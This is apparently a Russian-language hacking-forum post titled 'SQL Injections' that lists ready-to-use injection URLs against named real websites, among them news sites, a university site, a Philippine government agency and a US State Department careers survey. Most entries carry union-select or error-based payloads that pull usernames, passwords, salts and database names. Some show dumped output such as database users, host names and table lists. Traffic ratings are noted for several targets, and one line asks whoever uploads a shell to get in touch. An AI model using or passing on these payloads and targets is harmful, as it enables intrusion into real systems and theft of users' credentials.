SQL Инъекции

5.1.49-3:lacaoru_strateg@localhost:lacaoru_wwwstrategyspbru
(CY) 400

 

www.planetgarth.com/news/article.php?cid=-01015+union+select+1,2,3,4,5,6,concat_ws(0x3a,userid,username,password,salt),8,9,10,11,12,13,14,15,16,17+FROM+user%20limit%205,1--

 

Все-таки часть технического ВУЗа-могли бы как следует защитить!

==========================================

 

==========================================

==========================================

 

http://www.muncip.ru/a/news.php?id=-2+union+select+1,version(),3,4,5,6,7,8,9
тиц 30

 

==========================================

==========================================

 

http://www.goanews.com/archive_list.php?uid=3&am=8&ay=2010'/**/or/**/(select/**/count(*)from(select/**/1/**/union/**/select/**/2/**/union/**/select/**/3)x/**/group/**/by/**/concat(mid((select/**/concat_ws(0x3a,vUsername,vPassword)/**/from/**/users/**/limit/**/0,1),1,64),floor(rand(0)*2)))/**/and/**/'1'='1

 

==========================================

==========================================

==========================================

 

Philippine Information Agency

Правительственный сайт Филиппин. У каждого государства есть подобные косяки (к тому,что не стоит все время упрекать Россию,нужно ПОМОГАТЬ! ей).

==========================================

 

Code:

http://gorlivka.biz/job/ind.php?id_gorod=343%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31%20--

 

Code:

http://promar.tv/nueva/articulo_completo.php?id=-16821+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13--

Code:

http://promar.tv/nueva/articulo_completo.php?id=-16821+union+select+1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13+from+information_schema.tables--

 

Code:

 http://startingweb.ru/detaliat.php?id_pr=2+and+1=0+union+select+1,version(),3,4,5+--+

Current User: partyklub_1@localhost
Sql Version: 5.1.66-0+squeeze1-log
Current DB: partyklub_1
System User: partyklub_1@localhost
Host Name: s13.webhost1.ru
Installation dir: /usr/
DB User: 'partyklub_1'@'localhost'
Data Bases: information_schema
partyklub_1

 

Code:

ttp://www.careers.state.gov/survey/StateCareers/ThankYou.php?&&&&&&userid=-52+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8--

5.0.81:'survey'@'%':surveys

available databases [2]:
[*] information_schema
[*] surveys


Database: surveys
[2 tables]
+-------------+
| careeritems |
| careerpilot |
+-------------+


Table: careerpilot
[59 columns]

 

==========================================

==========================================

 

Code:

http://www.ajmci.org/actualite.php?id=-75+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7--

Code:

http://www.ajmci.org/actualite.php?id=-75+union+select+1,2,group_concat(table_name),4,5,6,7+from+information_schema.tables--

 

Code:

http://www.your-currency.com/anekdots.php?id=-12743+union+select+1,group_concat%28login,0x3a,pass%29+from+piramida_users--

 

Code:

http://iacp.dvo.ru/lib/news/index.php?news_id=-69+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5--

 

тиц375, 7к трафф

Code:

ingrus.net/york/details.php?id=12743/**/and+1=0+/*!%75nion*/+/*!%73eLect*/+version(),1,2--

кто зальется стукните в лс обязательно!!!!!!

 

Code:

http://www.iactunis.com/actualite.php?id=-75+union+select+group_concat(table_name),2+from+information_schema.tables--

 

==========================================

==========================================